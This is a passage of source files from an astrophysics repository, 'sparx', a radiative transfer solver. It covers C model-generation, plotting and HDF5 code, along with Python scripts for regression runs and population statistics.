SpKey\nK_OUTF = Sp_KEY(\"out\", \"NewFile\", 0, \"Name of output file\"),\nK_NDIV = Sp_KEY(\"ndiv\", \"Size_t\", \"32\", \"Number of divisions along each axis\"),\nK_DIMS = Sp_KEY(\"dims\", \"Length\", 0, \"Dimension of each axis\"),\nK_LTEM = Sp_KEY(\"lte\", \"Molec\", \"Optional\", \"Init with given molecule in lte\");\n\nstatic SpKey *keys[] = {\n\t&K_OUTF,\n\t&K_NDIV,\n\t&K_DIMS,\n\t&K_LTEM,\n\t0\n};\n\nstatic int TaskMain(void);\nstatic int ProcInps(void);\nstatic int GenModel(void);\nstatic void *GenModelThread(void *arg);\nstatic double n_H2_Profile(const GeVec3_d *cen, const GeVec3_d *pos);\nstatic double T_k_Profile(const GeVec3_d *cen, const GeVec3_d *pos);\nstatic double X_mol_Profile(const GeVec3_d *cen, const GeVec3_d *pos);\nstatic GeVec3_d v_Profile(const GeVec3_d *cen, const GeVec3_d *pos);\nstatic void Cleanup(void);\n\n/* Task definition */\nSpTask SpTask_genmodel = Sp_TASK(\"genmodel\", \"Generic model generator\", TaskMain, keys);\n\n/*----------------------------------------------------------------------------*/\n\nstatic int TaskMain(void)\n{\n\tint status = 0;\n\n\tMem_BZERO(&glb);\n\n\tstatus = ProcInps();\n\n\t/* Check for unused keys */\n\tif(!status)\n\t\tstatus = SpInp_CheckKeys();\n\n\t/* Generate model */\n\tif(!status)\n\t\tstatus = GenModel();\n\n\t/* Cleanup */\n\tCleanup();\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic int ProcInps(void)\n{\n\tint status = 0;\n\tPyObject *o;\n\n\t/* K_OUTF: out_fp */\n\tif(!status && !(o = SpInp_TASKGETKEY(K_OUTF)))\n\t\tstatus = 1;\n\tif(!status && !(glb.out_fp = SpIO_OpenFile(Sp_PYSTR(o), Sp_NEW)))\n\t\tstatus = 1;\n\tSpPy_XDECREF(o);\n\n\t/* K_NDIV: ndiv */\n\tif(!status && !(o = SpInp_TASKGETKEY(K_NDIV)))\n\t\tstatus = 1;\n\tif(!status)\n\t\tglb.ndiv = Sp_PYSIZE(o);\n\tSpPy_XDECREF(o);\n\n\t/* K_DIMS: dims */\n\tif(!status && !(o = SpInp_TASKGETKEY(K_DIMS)))\n\t\tstatus = 1;\n\tif(!status)\n\t\tglb.dims = Sp_PYDBL(o);\n\tSpPy_XDECREF(o);\n\n\t/* K_LTEM: model.parms.mol */\n\tif(!status && !(o = SpInp_TASKGETKEY(K_LTEM)))\n\t\tstatus = 1;\n\tif(!status && o != Py_None) {\n\t\tglb.model.parms.mol = SpIO_FreadMolec(Sp_PYSTR(o));\n\t\tif(!glb.model.parms.mol)\n\t\t\tstatus = 1;\n\t}\n\tSpPy_XDECREF(o);\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic void Cleanup(void)\n{\n\tif(glb.fname)\n\t\tfree(glb.fname);\n\n\tSpModel_Cleanup(glb.model);\n\n\tif(glb.out_fp)\n\t\tSpIO_CloseFile(glb.out_fp);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\n#define NI (glb.ndiv)\n#define NJ (glb.ndiv)\n#define NK (glb.ndiv)\n#define LENFAC (Sp_LENFAC)\n\nstatic int GenModel(void)\n{\n\tint status = 0;\n\tGeVox voxel = GeVox_INIT(GEOM_REC3D, 0, 0, 0, glb.dims / LENFAC, glb.dims / LENFAC, glb.dims / LENFAC);\n\tGeVec3_s naxes = GeVec3_INIT(NI, NJ, NK);\n\tZone *root;\n\n\t/* Allocate grid and write to file */\n\tglb.model.grid = root = SpZone_ALLOC(&glb.model.parms);\n\troot->voxel = voxel;\n\tSpZone_GROW(root, naxes, &glb.model.parms);\n\n\t/* Multi-threading! */\n\tSpUtil_Threads(GenModelThread);\n\n\t/* Write model to file */\n\tstatus = SpIO_FwriteModel(glb.out_fp, glb.model);\n\n\tif(!status)\n\t\tSp_PRINT(\"Wrote source model to `%s'\\n\", glb.out_fp->name);\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic void *GenModelThread(void *arg)\n{\n\tsize_t i, id = *((size_t *)arg), zone_id;\n\tZone *zp, *root = glb.model.grid;\n\tSpPhys *pp;\n\n\t/* Setup cloud model */\n\tfor(zp = Zone_GetMinLeaf(root), zone_id = 0; zp; zp = Zone_AscendTree(zp), zone_id++) {\n\t\t/* Skip when zone_id % Sp_NTHREAD != id */\n\t\tif(zone_id % Sp_NTHREAD != id)\n\t\t\tcontinue;\n\n\t\tpp = zp->data;\n\n\t\tpp->n_H2 = n_H2_Profile(&root->voxel.cen, &zp->voxel.cen);\n\t\tpp->T_k = T_k_Profile(&root->voxel.cen, &zp->voxel.cen);\n\t\tpp->X_mol = X_mol_Profile(&root->voxel.cen, &zp->voxel.cen);\n\n\t\tif(glb.model.parms.mol) {\n\t\t\tfor(i = 0; i < glb.model.parms.mol->nlev; i++) {\n\t\t\t\tpp->pops[0][i] = SpPhys_BoltzPops(pp->mol, i, pp->T_k);\n\t\t\t}\n\t\t}\n\n\t\tpp->v_cen = v_Profile(&root->voxel.cen, &zp->voxel.cen);\n\t}\n\n\treturn NULL;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic double n_H2_Profile(const GeVec3_d *cen, const GeVec3_d *pos)\n{\n\tdouble value = 0.0, radius;\n\n\tradius = GeVec3_Mag2(cen, pos);\n\n\tif(radius < 0.1)\n\t\tvalue = 1e4 * PHYS_UNIT_MKS_PERCC * (0.1 - radius) / 0.1;\n\n\treturn value;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic double T_k_Profile(const GeVec3_d *cen, const GeVec3_d *pos)\n{\n\tdouble value = 0.0, radius;\n\n\tradius = GeVec3_Mag2(cen, pos);\n\n\tif(radius < 0.1)\n\t\tvalue = 40.0 * (0.1 - radius) / 0.1;\n\n\treturn value;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic double X_mol_Profile(const GeVec3_d *cen, const GeVec3_d *pos)\n{\n\tdouble\n\t\tvalue = 0.0,\n\t\tradius,\n\t\tx = GeVec3_X(*pos, 0),\n\t\ty = GeVec3_X(*pos, 1),\n\t\tz = GeVec3_X(*pos, 2),\n\t\tx0 = GeVec3_X(*cen, 0),\n\t\ty0 = GeVec3_X(*cen, 1),\n\t\tz0 = GeVec3_X(*cen, 2);\n\n\tradius = sqrt((x - x0) * (x - x0) + (y - y0) * (y - y0) + (z - z0) * (z - z0));\n\n\tif(radius < 0.1)\n\t\tvalue = 1.0e-9;\n\n\treturn value;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic GeVec3_d v_Profile(const GeVec3_d *cen, const GeVec3_d *pos)\n{\n\tGeVec3_d vel = GeVec3_INIT(0, 0, 0);\n\tdouble\n\t\tradius,\n\t\tx = GeVec3_X(*pos, 0),\n\t\ty = GeVec3_X(*pos, 1),\n\t\tz = GeVec3_X(*pos, 2),\n\t\tx0 = GeVec3_X(*cen, 0),\n\t\ty0 = GeVec3_X(*cen, 1),\n\t\tz0 = GeVec3_X(*cen, 2);\n\n\tradius = GeVec3_Mag2(cen, pos);\n\n\tif(radius <= 0.1 && 1) {\n\t\tif(radius > 0) {\n\t\t\tGeVec3_X(vel, 0) = 10.0 * (x - x0) / radius; /* km/s */\n\t\t\tGeVec3_X(vel, 1) = 10.0 * (y - y0) / radius; /* km/s */\n\t\t\tGeVec3_X(vel, 2) = 10.0 * (z - z0) / radius; /* km/s */\n\t\t}\n\t\telse {\n\t\t\tGeVec3_X(vel, 0) = 0.0;\n\t\t\tGeVec3_X(vel, 1) = 0.0;\n\t\t\tGeVec3_X(vel, 2) = 0.0;\n\t\t}\n\t}\n\n\treturn vel;\n}\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.7142857313156128, "alphanum_fraction": 0.7189440727233887, "avg_line_length": 24.760000228881836, "blob_id": "0009ef42d9415eeb4982c03ba09ae46a1d75250d", "content_id": "a03cc05b043d76d027df0b4449b025be899b3157", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 644, "license_type": "no_license", "max_line_length": 95, "num_lines": 25, "path": "/bin/sparx-regress", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#! /usr/bin/env python\n\nimport argparse\nparser = argparse.ArgumentParser()\nparser.add_argument(\"unit_dir\")\nargs = parser.parse_args()\n\nfrom os import path, mkdir, chdir\nfrom datetime import datetime as dt\nrunname = \"sparxreg-\"+dt.now().strftime(\"%Y%m%d-%H%M%S\")\n\nfrom glob import glob\nfrom subprocess import call\n\nif glob(runname):\n print \"Run directory '{}' already exists!\".format(runname)\n exit(1)\n\nmkdir(runname)\nchdir(runname)\nprint \"Running sparx regressions in '{}'...\".format(runname)\nprint\ncall(\"python -m unittest discover -s {} 2>&1 | tee test.log\".format(args.unit_dir), shell=True)\nprint\nprint \"{} completed\".format(runname)\n" }, { "alpha_fraction": 0.5506396293640137, "alphanum_fraction": 0.5636993646621704, "avg_line_length": 29.672130584716797, "blob_id": "1e1fad2bcad12a798132edb776067bcd4f66ad1a", "content_id": "c00dc86d8b6aa349e9ef29e7c3f421adb18e17bf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3752, "license_type": "no_license", "max_line_length": 98, "num_lines": 122, "path": "/src/cpgplot-wrappers.c", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "/* Wrappers and conveneice functions for cpgplot routines */\n\n#include <assert.h>\n#include \"cpgplot-wrappers.h\"\n\nvoid Cpg_Circ(double xcent, double ycent, double radius)\n/* void cpgcirc(float xcent, float ycent, float radius); */\n{\n\tcpgcirc((float)xcent, (float)ycent, (float)radius);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid Cpg_Pt1(double xpt, double ypt, int symbol)\n/* void cpgpt1(float xpt, float ypt, int symbol); */\n{\n\tcpgpt1((float)xpt, (float)ypt, symbol);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid Cpg_Env(double xmin, double xmax, double ymin, double ymax, int just, int axis)\n/* void cpgenv(float xmin, float xmax, float ymin, float ymax, int just, int axis); */\n{\n\tcpgenv((float)xmin, (float)xmax, (float)ymin, (float)ymax, just, axis);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid Cpg_Arro(double x1, double y1, double x2, double y2)\n/* void cpgarro(float x1, float y1, float x2, float y2); */\n{\n\tcpgarro((float)x1, (float)y1, (float)x2, (float)y2);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid Cpg_Swin(double x1, double x2, double y1, double y2)\n/* void cpgswin(float x1, float x2, float y1, float y2); */\n{\n\tcpgswin((float)x1, (float)x2, (float)y1, (float)y2);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid Cpg_Box(const char *xopt, double xtick, int nxsub, const char *yopt, double ytick, int nysub)\n/* void cpgbox(const char *xopt, float xtick, int nxsub, \\\n const char *yopt, float ytick, int nysub);\n\nOptions (for parameters XOPT and YOPT):\n A : draw Axis (X axis is horizontal line Y=0, Y axis is vertical\n line X=0).\n B : draw bottom (X) or left (Y) edge of frame.\n C : draw top (X) or right (Y) edge of frame.\n G : draw Grid of vertical (X) or horizontal (Y) lines.\n I : Invert the tick marks; ie draw them outside the viewport\n instead of inside.\n L : label axis Logarithmically (see below).\n N : write Numeric labels in the conventional location below the\n viewport (X) or to the left of the viewport (Y).\n P : extend (\"Project\") major tick marks outside the box (ignored if\n option I is specified).\n M : write numeric labels in the unconventional location above the\n viewport (X) or to the right of the viewport (Y).\n T : draw major Tick marks at the major coordinate interval.\n S : draw minor tick marks (Subticks).\n V : orient numeric labels Vertically. This is only applicable to Y.\n The default is to write Y-labels parallel to the axis.\n 1 : force decimal labelling, instead of automatic choice (see PGNUMB).\n 2 : force exponential labelling, instead of automatic.\n\nWhen PGENV calls PGBOX, it sets both XOPT and YOPT according to the value of its parameter\nAXIS: -1: 'BC', 0: 'BCNST', 1: 'ABCNST', 2: 'ABCGNST'.\n\n*/\n{\n\tcpgbox(xopt, (float)xtick, nxsub, yopt, (float)ytick, nysub);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid Cpg_Reset(void)\n{\n\t/* Erase scene */\n\tcpgeras();\n\n\t/* Redraw bounding box */\n\tCpg_Box(\"BCNST\", 0.0, 0, \"BCNST\", 0.0, 0);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid _Cpg_Vect(const float *a, const float *b, size_t idim, size_t jdim, size_t i1, \n\tsize_t i2, size_t j1, size_t j2, double c, int nc, const float *tr, double blank)\n{\n\tcpgvect(a, b, (int)idim, (int)jdim, (int)i1, (int)i2, (int)j1, (int)j2, c, nc, tr, blank);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid Cpg_Sch(double ch)\n{\n\tcpgsch(ch);\n\n\treturn;\n}\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.7538461685180664, "alphanum_fraction": 0.7538461685180664, "avg_line_length": 15.25, "blob_id": "8754e144a6561184763108a089d183e796ba64b9", "content_id": "c03b89ea7621abfed44b14bb2ed69125d99f05be", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 65, "license_type": "no_license", "max_line_length": 51, "num_lines": 4, "path": "/README.md", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "sparx\n=====\n\nMonte Carlo-based non-LTE radiative transfer solver\n" }, { "alpha_fraction": 0.6342692375183105, "alphanum_fraction": 0.6544276475906372, "avg_line_length": 22.508474349975586, "blob_id": "476303e7ac6a146cf6ac80d6eeecb0401127664a", "content_id": "845be8db5d3322e6b6cdca6092fe745f5bc41f68", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1389, "license_type": "no_license", "max_line_length": 72, "num_lines": 59, "path": "/bin/sparx-get-statistics-amcpop", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#! /usr/bin/env python\n\n# Arguments are amc pop files\nfrom os import path as pth\nimport sys\nif len(sys.argv) < 2:\n\tprint \"Usage: %s <file1> <file2> ...\" % (pth.basename(sys.argv[0]))\n\tsys.exit(1)\n\nfiles = sys.argv[1:]\n\n# Load each of the files with AmcPops and extract position and pops info\nfrom sparx.ratran import AmcPops\nfrom numpy import array, append, zeros\nfrom time import sleep\n\npc = 3.08567758e16\n\n# Get number of positions from first file\npop = AmcPops(files[0])\nnpos = pop.ncell\nnfile = len(files)\n\nparr = zeros([npos, nfile], dtype=float)\nrarr = pop.table[\"ra\"] + 0.5 * (pop.table[\"rb\"] - pop.table[\"ra\"])\n\n# Write data to file. First write header\nheader = [\"Num\"]+[\"R%.3fpc\" % (r / pc) for r in rarr]\nfo = open(\"data.csv\", \"w\")\nfo.write(\",\".join(header)+\"\\n\")\n\nnum = 0\nfor ifile in range(nfile):\n\tnum += 1\n\tdat = [\"%d\" % num]\n\twhile not pth.isfile(files[ifile]):\n\t\tsleep(0.1)\n\t\tcontinue\n\tpop = AmcPops(files[ifile])\n\tfor i in range(npos):\n\t\tp = pop.table[\"lp\"][i][1]\n\t\tparr[i][ifile] = p\n\t\tdat += [\"%.20e\" % p]\n\tstring = \",\".join(dat)+\"\\n\"\n\tfo.write(string)\nfo.close()\nprint \"Saved data as 'data.csv'\"\n\nmeanarr = [i.mean() for i in parr]\nstdarr = [i.std() for i in parr]\n\nimport pylab as pl\npl.errorbar(rarr, meanarr, yerr=stdarr)\npl.title(\"RATRAN\")\npl.xlabel(\"m\")\npl.ylabel(\"Fractional population\")\npl.savefig(\"ratran.png\")\nprint \"Saved figure as 'ratran.png'\"\n#pl.show()\n\n\n" }, { "alpha_fraction": 0.6270566582679749, "alphanum_fraction": 0.6517367362976074, "avg_line_length": 26.07438087463379, "blob_id": "e866f9ab485bf2550a01b43d8549084fd4cc3a58", "content_id": "50049aac23773838afae9b56b7cc8662afb444e1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3282, "license_type": "no_license", "max_line_length": 102, "num_lines": 121, "path": "/bin/sparx-t_test", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#! /usr/bin/env python\n\ndef read_data(fname):\n\t'''\n\tRead csv file containing sparx population calculation results, with each\n\tcolumn representing different radii, and each row representing a sample run\n\trun.\n\n\tThe returned tubles consists of\n\t1) A dictionary containing the data corresponding to every column\n\t2) A list of header names with the order in the file preserved\n\t'''\n\tf_s = open(fname)\n\tfdata = f_s.readlines()\n\tf_s.close()\n\n\t# Get header\n\tstat = {}\n\thdr = [i.strip() for i in fdata[0].strip().split(\",\")][1:]\n\tfor i in hdr:\n\t\tstat[i] = []\n\n\tfor ln in fdata[1:]:\n\t\trecord = ln.strip().split(\",\")[1:]\n\t\tfor c in range(len(hdr)):\n\t\t\t[stat[hdr[c]].append(float(record[c]))]\n\treturn (stat, hdr)\n\ndef get_data_stats(data):\n\tvar = data.var()\n\tmean = data.mean()\n\treturn mean, var\n\ndef get_data_limits(data1, data2, cl):\n\tfrom scipy.stats import t as ttest\n\tfrom math import sqrt\n\tfrom numpy import array\n\n\tdata1 = array(data1)\n\tdata2 = array(data2)\n\n\t# df = (n1-1)+(n2-1)\n\tn1 = len(data1)\n\tn2 = len(data2)\n\tdf = (n1-1)+(n2-1)\n\n\t# Since the t-test in scipy assumes a 1-tailed test,\n\t# we must convert the confidence level by dividing\n\t# it by two\n\ttcl = ttest.ppf((1.0-cl)/2.0, df)\n\n\tm1, v1 = get_data_stats(data1)\n\tm2, v2 = get_data_stats(data2)\n\n\tmdiff = m1-m2\n\tvdiff = sqrt(v1/n1 + v2/n2)\n\n\t#lower = mdiff - tcl * vdiff\n\t#upper = mdiff + tcl * vdiff\n\n\terr = tcl * vdiff\n\n\treturn mdiff, vdiff\n\nif __name__ == \"__main__\":\n\tfrom argparse import ArgumentParser\n\tfrom matplotlib import pyplot as plt\n\timport re\n\n\tparser = ArgumentParser()\n\tparser.add_argument(\"-t\", action=\"store\", default=\"t_test\", help=\"Title (used as plot file name)\")\n\tparser.add_argument(\"-c\", action=\"store\", default=\"0.95\", help=\"Confidence level (defaults to 0.95)\")\n\tparser.add_argument(\"test\", help=\"Type of test: pops or spec\")\n\tparser.add_argument(\"samp1\", help=\"Sample 1 (pops csv)\")\n\tparser.add_argument(\"samp2\", help=\"Sample 2 (pops csv)\")\n\targs = parser.parse_args()\n\n\tif args.test not in (\"pops\", \"spec\"):\n\t\tparser.error(\"'test' must be one of the following: pops, spec\")\n\n\ttest = args.test\n\tcl = float(args.c)\n\ttitle = str(args.t)\n\tfname = title+\".png\"\n\tsamp1 = args.samp1\n\tsamp2 = args.samp2\n\n\tfrom numpy import array, append\n\ts_data, s_hdr = read_data(samp1)\n\tr_data, r_hdr = read_data(samp2)\n\n\tmdiffarr = array([], dtype=float)\n\tvdiffarr = array([], dtype=float)\n\n\tfrom scipy import stats\n\tfor h in s_hdr:\n\t\tmdiff, vdiff = get_data_limits(s_data[h], r_data[h], cl)\n\t\tmdiffarr = append(mdiffarr, mdiff)\n\t\tvdiffarr = append(vdiffarr, vdiff)\n\t\tt, p = stats.ttest_ind(s_data[h], r_data[h], equal_var=False)\n\t\t#print \"%s: p-value=%12.7f %s\" % (h, p, (\"(Fail)\", \"\")[int(p >= 0.05)])\n\n\tif test == \"pops\":\n\t\trarr = array([float(re.search(r\"R([\\d\\.]+)pc\", h).group(1)) for h in s_hdr], dtype=float)\n\telif test == \"spec\":\n\t\trarr = array([float(re.search(r\"V([-\\d\\.]+)\", h).group(1)) for h in s_hdr], dtype=float)\n\tplt.title(title)\n\tplt.errorbar(rarr, mdiffarr, yerr=vdiffarr)\n\n\tif test == \"pops\":\n\t\tplt.xlabel(\"Radius (pc)\")\n\t\tplt.ylabel(\"Fractional population difference\")\n\telif test == \"spec\":\n\t\tplt.xlabel(\"Velocity (km/s)\")\n\t\tplt.ylabel(\"Flux (Jy)\")\n\t\t\n\tplt.xlim(min(rarr)-0.001, max(rarr)+0.001)\n\t#plt.ylim(-0.005, 0.005)\n\tplt.savefig(fname)\n\tplt.clf()\n\tprint \"Saved figure as '%s'\" % fname\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.6165137887001038, "alphanum_fraction": 0.648521900177002, "avg_line_length": 23.520000457763672, "blob_id": "18747476d54113519197164627597a538dd9f505", "content_id": "00f733caaf5789ba189372ab4824374232c4dd8d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 4905, "license_type": "no_license", "max_line_length": 100, "num_lines": 200, "path": "/src/zone-hdf5.c", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#include <assert.h>\n#include \"memory.h\"\n#include \"error.h\"\n#include \"zone.h\"\n#include \"zone-hdf5.h\"\n#include \"hdf5_hl.h\"\n\n/* Size of record */\nstatic size_t record_size = sizeof(ZoneH5_Record);\n\n/* CHK when format change */\n#define NFIELDS ((hsize_t)25)\n\n/* CHK when format change */\n/* Offsets of each field */\nstatic size_t field_offsets[NFIELDS] = {\n\tHOFFSET(ZoneH5_Record, level),\n\tHOFFSET(ZoneH5_Record, pos),\n\tHOFFSET(ZoneH5_Record, geom),\n\tHOFFSET(ZoneH5_Record, max),\n\tHOFFSET(ZoneH5_Record, min),\n\tHOFFSET(ZoneH5_Record, cen),\n\tHOFFSET(ZoneH5_Record, n_H2),\n\tHOFFSET(ZoneH5_Record, T_k),\n\tHOFFSET(ZoneH5_Record, X_mol),\n\tHOFFSET(ZoneH5_Record, X_pH2),\n\tHOFFSET(ZoneH5_Record, X_oH2),\n\tHOFFSET(ZoneH5_Record, X_e),\n\tHOFFSET(ZoneH5_Record, X_H),\n\tHOFFSET(ZoneH5_Record, X_He),\n\tHOFFSET(ZoneH5_Record, V_t),\n\tHOFFSET(ZoneH5_Record, vedge),\n\tHOFFSET(ZoneH5_Record, v_cen),\n\tHOFFSET(ZoneH5_Record, ds),\n\tHOFFSET(ZoneH5_Record, nchildren),\n\tHOFFSET(ZoneH5_Record, naxes),\n\tHOFFSET(ZoneH5_Record, T_d),\n\tHOFFSET(ZoneH5_Record, kapp_d),\n\tHOFFSET(ZoneH5_Record, T_ff),\n\tHOFFSET(ZoneH5_Record, kapp_ff),\n\tHOFFSET(ZoneH5_Record, T_bb)\n};\n\n/* Dummy record for calculating sizes */\nstatic ZoneH5_Record dummy_record;\n\n/* Sizes of each field */\nstatic size_t field_sizes[NFIELDS] = {\n\tsizeof(dummy_record.level),\n\tsizeof(dummy_record.pos),\n\tsizeof(dummy_record.geom),\n\tsizeof(dummy_record.max),\n\tsizeof(dummy_record.min),\n\tsizeof(dummy_record.cen),\n\tsizeof(dummy_record.n_H2),\n\tsizeof(dummy_record.T_k),\n\tsizeof(dummy_record.X_mol),\n\tsizeof(dummy_record.X_pH2),\n\tsizeof(dummy_record.X_oH2),\n\tsizeof(dummy_record.X_e),\n\tsizeof(dummy_record.X_H),\n\tsizeof(dummy_record.X_He),\n\tsizeof(dummy_record.V_t),\n\tsizeof(dummy_record.vedge),\n\tsizeof(dummy_record.v_cen),\n\tsizeof(dummy_record.ds),\n\tsizeof(dummy_record.nchildren),\n\tsizeof(dummy_record.naxes),\n\tsizeof(dummy_record.T_d),\n\tsizeof(dummy_record.kapp_d),\n\tsizeof(dummy_record.T_ff),\n\tsizeof(dummy_record.kapp_ff),\n\tsizeof(dummy_record.T_bb)\n};\n\n/* Field names */\nstatic const char *field_names[NFIELDS] = {\n\t\"LEVEL\",\n\t\"POS\",\n\t\"geom\",\n\t\"X_max\",\n\t\"X_min\",\n\t\"X_cen\",\n\t\"n_H2\",\n\t\"T_k\",\n\t\"X_mol\",\n\t\"X_pH2\",\n\t\"X_oH2\",\n\t\"X_e\",\n\t\"X_H\",\n\t\"X_He\",\n\t\"V_t\",\n\t\"V_edge\",\n\t\"V_cen\",\n\t\"ds\",\n\t\"NCHILDREN\",\n\t\"NAXES\",\n\t\"T_d\",\n\t\"kapp_d\",\n\t\"T_ff\",\n\t\"kapp_ff\",\n\t\"T_bb\"\n};\n\n/*----------------------------------------------------------------------------*/\n\nint ZoneH5_FwriteTable(hid_t h5f_id, const char *name, const ZoneH5_Record *records, size_t nrecord)\n{\n\therr_t hstatus;\n\n\thid_t field_types[NFIELDS], vec3d_type, vec3s_type, vel_type, geom_type, kapp_type;\n\thsize_t chunk_size = 10, vec3_size = 3, vel_size[2] = {6, 3};\n\tint *fill_data = NULL, compress = 0;\n\n\t/* Create array data type */\n\tvec3d_type = H5Tarray_create(H5T_NATIVE_DOUBLE, 1, &vec3_size);\n\tvel_type = H5Tarray_create(H5T_NATIVE_DOUBLE, 2, vel_size);\n\tvec3s_type = H5Tarray_create(H5T_NATIVE_LONG, 1, &vec3_size);\n\n\t/* geom column */\n\tgeom_type = H5Tcopy(H5T_C_S1);\n\tH5Tset_size(geom_type, (size_t)ZoneH5_GEOMLEN);\n\n\t/* dust column */\n\tkapp_type = H5Tcopy(H5T_C_S1);\n\tH5Tset_size(kapp_type, (size_t)ZoneH5_KAPPLEN);\n\n\tfield_types[0] = H5T_NATIVE_INT;\n\tfield_types[1] = H5T_NATIVE_LONG;\n\tfield_types[2] = geom_type;\n\tfield_types[3] = vec3d_type;\n\tfield_types[4] = vec3d_type;\n\tfield_types[5] = vec3d_type;\n\tfield_types[6] = H5T_NATIVE_DOUBLE;\n\tfield_types[7] = H5T_NATIVE_DOUBLE;\n\tfield_types[8] = H5T_NATIVE_DOUBLE;\n\tfield_types[9] = H5T_NATIVE_DOUBLE;\n\tfield_types[10] = H5T_NATIVE_DOUBLE;\n\tfield_types[11] = H5T_NATIVE_DOUBLE;\n\tfield_types[12] = H5T_NATIVE_DOUBLE;\n\tfield_types[13] = H5T_NATIVE_DOUBLE;\n\tfield_types[14] = H5T_NATIVE_DOUBLE;\n\tfield_types[15] = vel_type;\n\tfield_types[16] = vec3d_type;\n\tfield_types[17] = H5T_NATIVE_DOUBLE;\n\tfield_types[18] = H5T_NATIVE_LONG;\n\tfield_types[19] = vec3s_type;\n\tfield_types[20] = H5T_NATIVE_DOUBLE;\n\tfield_types[21] = kapp_type;\n\tfield_types[22] = H5T_NATIVE_DOUBLE;\n\tfield_types[23] = kapp_type;\n\tfield_types[24] = H5T_NATIVE_DOUBLE;\n\n\t/* Make the table */\n\thstatus = H5TBmake_table(\n\t\t\"Grid table\",\n\t\th5f_id,\n\t\tname,\n\t\tNFIELDS,\n\t\t(hsize_t)nrecord,\n\t\trecord_size,\n\t\tfield_names,\n\t\tfield_offsets,\n\t\tfield_types,\n\t\tchunk_size,\n\t\tfill_data,\n\t\tcompress,\n\t\trecords\n\t);\n\n\tH5Tclose(vec3d_type);\n\tH5Tclose(vec3s_type);\n\tH5Tclose(vel_type);\n\tH5Tclose(geom_type);\n\tH5Tclose(kapp_type);\n\n\tif(hstatus < 0)\n\t\treturn Err_SETSTRING(\"Error reading HDF5 `%s' table\", name);\n\telse\n\t\treturn 0;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint ZoneH5_FreadTable(hid_t h5f_id, const char *name, ZoneH5_Record *records)\n{\n\therr_t hstatus;\n\n\t/* read the table */\n\thstatus = H5TBread_table(h5f_id, name, record_size, field_offsets, field_sizes, records);\n\n\tif(hstatus < 0)\n\t\treturn Err_SETSTRING(\"Error reading HDF5 `%s' table\", name);\n\telse\n\t\treturn 0;\n}\n\n#undef NFIELDS\n\n/*----------------------------------------------------------------------------*/\n\n" }, { "alpha_fraction": 0.6094420552253723, "alphanum_fraction": 0.6382587552070618, "avg_line_length": 21.625, "blob_id": "b4a99b10e1051271578a3b378dc45fff694d3c87", "content_id": "ad29d6cc06db85cbaaa69a1f5c5761de04001df5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1631, "license_type": "no_license", "max_line_length": 65, "num_lines": 72, "path": "/bin/sparx-get-statistics-sparxh5", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#! /usr/bin/env python\n\n# Arguments:\n# <file1> <file2> ...\n\npc = 3.08567758e16\n\nimport sys\nif len(sys.argv) < 2:\n\tprint \"Usage: %s <h5f1> <h5f2> ...\"\n\tsys.exit(1)\n\n# Collect files into list\nflst = sys.argv[1:]\n\n# Load files\nfrom sparx.grid import SPARXH5\nfrom numpy import array, append\n\ndata_lst = []\n\n# Collect data from first file\nf = SPARXH5(flst.pop(0))\nrdata_0 = f.GetRadii()\npdata_0 = f.GetRadial(\"lev1\")\nf.Close()\nnr = len(rdata_0)\ndata_lst.append((rdata_0, pdata_0))\n\n# Collect data from rest of the files\nfor i in range(len(flst)):\n\th5f = SPARXH5(flst[i])\n\trdata = h5f.GetRadii()\n\tpdata = h5f.GetRadial(\"lev1\")\n\th5f.Close()\n\tif (len(rdata) != len(rdata_0)) or (len(pdata) != len(pdata_0)):\n\t\traise Exception, \"File %d inconsistent with first file\" % (i+1)\n\tdata_lst.append((rdata, pdata))\n\n# Create nr lists for holding data from each r position\nplist = [array([], dtype=float) for i in range(nr)]\n\n# Write data to file. First write header\nheader = [\"Num\"]+[\"R%.3fpc\" % (r) for r in rdata_0]\nfo = open(\"data.csv\", \"w\")\nfo.write(\",\".join(header)+\"\\n\")\n\nnum = 0\nfor i in range(len(data_lst)):\n\tnum += 1\n\tdat = [\"%d\" % num]\n\tfor j in range(nr):\n\t\tr = data_lst[i][0][j]\n\t\tp = data_lst[i][1][j]\n\t\tplist[j] = append(plist[j], p)\n\t\tdat += [\"%.20e\" % p]\n\tstring = 